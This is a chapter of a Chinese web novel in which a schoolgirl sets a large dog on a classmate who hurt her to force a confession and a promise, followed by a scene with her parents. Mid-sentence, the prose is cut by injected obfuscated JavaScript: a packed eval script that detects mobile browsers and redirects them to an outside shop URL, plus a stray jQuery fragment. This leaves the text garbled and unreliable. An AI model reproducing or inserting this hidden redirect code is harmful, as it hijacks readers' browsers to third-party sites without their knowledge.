姜慕玟意识到一件事,伸张正义是要付出代价的,原本刀子捅向别人,你去阻止,那插进去的刀子就会有一半给你承受,否则为什么见义勇为里,要带一个“勇”字。
她不过顺嘴帮梁羡辩解一句,还不是当面,就遭到了对方的报复。
想一想事情查起来很容易,找到上课的名单,排除女生,观察手上有伤口的男生,就只有孟哲年没来学校。
到晚上,孟哲年的姐姐带孟哲年去姜家吃饭,孟哲年不想来,硬被拉上,在饭桌上姜慕玟表现得没有任何异常,还能沉住气和孟哲年聊天,饭后姜慕玟提出要去后花园逛逛。
孟哲年的中指包得跟个粽子一样,料定对方没证据,姜慕玟确实无法证明自己受到伤害,就算有证据,也算犯罪中止,姜慕玟下手太重掰他手指,可能还会算防卫过当。
这件事,姜慕玟也只能自己悄悄地办。
她挽着孟哲年的姐姐,“你喜欢小动物吗?”
“喜欢,我家里还养了一只马犬,不过它太凶了,得带嘴套。”姐姐说。
“那你可得把它养好了,别让它出来乱咬人。”
“宠物总会有调皮的时候,它以前咬过人,家里教训过,但是好像定型了,现在只能锁起来了。”
姜慕玟侧头看旁边走路的孟哲年,他显然很无聊,“那孟哲年呢?他被咬过吗。”
孟哲年突然被搭话,随口一句,“怎么可能。”
“也对,你只会当畜生咬别人。”姜慕玟笑呵呵的一句说,把旁边两人弄得愣了下。
她听见身后的人骂一声,“你说什么!”
姜慕玟一脸无辜,“开个玩笑你怎么这么大反应。”
孟哲年这是在姜慕玟家里不好发作,只能压下火,“你敢骂我。”
“不好意思。”姜慕玟的道歉有点反常,“往前走吧,我家种了一颗樱桃树,不知道现在长得怎么样了。”
孟哲年不好贸然离开,也跟着去,这里看着明亮,却给人一种阴森森的感觉,草地松软,一脚踩下去仿佛拔不出来,鞋子沾了泥点,周围有蝉鸣声,不像是经常散步的后花园,像长久无人打理的荒地,不过披了一层人工绿植。
姜慕玟回头和两人说话,“其实前段时间,我表哥来我家里了,不知道你们认不认识。”
姐姐问,“宗佑声吗?”
“对啊,我表哥喜欢玩极限运动,是个很危险的人。”姜慕玟后退着走路,面对姐姐,“他也喜欢养一些狗,这次来我家带了一只过来。”
“什么狗?”
“很可爱的,宠物狗。”
姜慕玟把钥匙从裤子里拿出来甩了甩。
姐姐预感不对,没阻止,姜舟诵刚才和自己在茶桌上聊了会儿,态度很随和,他这个位置的人说话都得要你品,品错了,给了不好的答案,出了这大门代价就得翻出好几倍。
弄得麻烦不说,自己在家族里的地位也会受到影响,也不是谁家都像姜慕玟一样是独生女,孟哲年的姐姐是要和其他孩子争家产的。
且姜父已经算好说话,要是碰上姜慕玟强势的母亲才让人慌张。姜慕玟的妈妈,确切地说姜慕玟这一家人,看起来都很谦虚,其实心知肚明你几斤几两,甚至姜慕玟妈妈舒总连见面都不屑于。
姜慕玟她的世界只论要和不要,什么喜欢啊,朋友啊,爱情啊,学业啊,在她父母面前什么都不是,能给你脸,是因为想给你脸。
孟哲年姐姐答应,“好,去看看。”
姜慕玟拉着她的手,和她站在一起,“你要跟我站在一起,我可是最是非分明的人。”
“我知道。”她回头看一眼自己那个混账弟弟,终于惹大祸了,变成废物让所有人都意识到,他不适合继承家业不是吗?
孟哲年不知,背对着抽烟,实在是无聊,一边抽烟一边踩脚底下的那堆草,不耐烦抬头看路灯。
身后传来钥匙的碰撞,轻微的狗叫,声音越来越大,汪一声就停下,呼吸剧烈,牙齿摩擦,不像是姜慕玟口中可爱的狗,更像大型犬,口水一滴一滴地落下来,拉成长条丝状,孟哲年扭头看见一个东西飞扑过来。
他躺在地上,“啊——”
一张皱巴巴的脸,鼻尖湿润地嗅着他的脸,喉咙里发出咕噜的声音,张开嘴巴獠牙展露,恶臭的舌头滴着口水,它叫唤几声,咬住他的衣服,警告他。
孟哲年喊出声,不顾形象,“让它走啊!!”
姜慕玟牵着她姐姐,明明年龄小,气势却跟个长辈一样,“别松开我手,要不然它会扑你。”
孟哲年姐姐站在原地,十分之一的真心,不管怎么说他都是自己的亲弟弟。
姜慕玟手里拿着一根狗绳,“我是带着答案来问你的,不要撒谎,不然我让它咬死你。”
“你敢吗?你这种人的人生,都是很干净的吧,我没了,你不怕人生有污点?”
“我敢吗?”她松开手,双手空空如也,“又不是我让它咬的你。”
孟哲年快被臭死了,“你想问什么?”
“是不是你。”姜慕玟就一句话,两个人心知肚明。
孟哲年没什么好辩解的,“是我。”
“想干什么。”
“想干什么?”孟哲年这个时候了还能发混,“你说呢?你应该对你的外表自信点,能被我看上……”
“滚。”姜慕玟听得犯恶心,她这辈子第一次面对这么下流的人。
还是被家里保护得太好了,以为见过最坏的人是在落罗街网吧那个混混,没想到最坏的人就在身边,在学校,且家世不凡,能硬碰硬的那种。
都互相忌惮。
这么好的资源喂出一个败类,但是别人会投胎,普通人见到躲远点,姜慕玟这样的见到了才敢唬一唬他。
“你不用说了。”姜慕玟不想听见这种肮脏的动机,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912823|213198||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她打断他,“帮他是举手之劳,我对我做的一切都不后悔。”
孟哲年本来也没打算惹她了,嘴上不想饶过,觉得自己一句话都能吓死她这个纸老虎,“我要是不呢?”
姜慕玟咳嗽了一声,他姐关键时候又控制不住那点血脉里的亲情,想上去帮忙被拉住。孟哲年有精神病证明,因为计划早点出国留学,16岁上高三,善恶一念间,把他惹急了不行,让他觉得你软弱也不行,所以她得和他商量。
“你以后不许打我主意,因为我没有受到伤害,所以你姐姐以后还可以来我家常走动,我们两家之间不会结仇,要是你再动我,你姐姐也不会保你。”姜慕玟把那狗链子打开,蹲过去系上,手拍了拍它脑袋,“你要是答应,我让它松口。”
孟哲年疼得龇牙咧嘴,“你真的疯了……我以后不会再惹你。”
姜慕玟和他多说一句话都嫌周围空气恶心,她扯了扯链条,把它拉来,手指摸着狗柔软的脑袋,一时判若两人,爱恨分明。
孟哲年起身拍了拍身上的灰依旧傲慢转身就走,却听见身后铁链作响,一声凶恶的汪声。
从此以后彻底明白一件事。
姜慕玟这个姑娘,不好惹。
-
周五,姜慕玟和父母在后花园里散步,那只比特犬跟在三个人的后面,舒亦怜手里拿个飞盘扔出去,它盯着目标一路狂奔,乖乖叼回来。
姜慕玟挽着姜舟诵,问他有没有按时吃药,聊着聊着又问,“我明白了一件事情。”
“你说。”
“以后我不会再管别人的闲事了。”
舒亦怜蹲在后面拍了拍狗狗的脑袋,把飞盘扔出去,嘴里喊着,“Comeon。”
舒亦怜跟了上去,手摸到姜慕玟的脑袋,独一无二的柔情,“等你下次遇到了这样的情况,你再决定吧。”
姜舟诵不忍心破坏她的天真,他女儿还是个很有正义感的小家伙呢,要是自己是个没身份没能力的不敢让她出头,但是姜舟诵有无限能力给她兜底,帮助别人是一种美德。
女儿就是可爱,每天呆萌呆萌,有时候又傻,善良没脾气,软绵绵的。
发火的时候,总想起她小,生下来就一丁丁点,脾气很像老婆,想到以后有人娶走她,总觉得她吃亏了,要去受委屈,但是他年纪真的大了。
好希望有个可靠的人,承担她的坏脾气,照顾她,要家世相当,要她喜欢,要珍惜她,又怕别人有目的,惦记姜家家产是装出来的好。但是无欲无求的,什么都不要的,怎么甘心一辈子捧着她,在她低位俯首呢,应该是遇不到合适的。
找一个人压着,最稳妥。
他想着忘了回答问题,提醒,不让她受伤害,“风险你也知道了,可能另一方会憎恨你,第一次是单纯,第二次是选择,你自己想好。”
“我没有这个义务。”
“你问你妈妈怎么说。”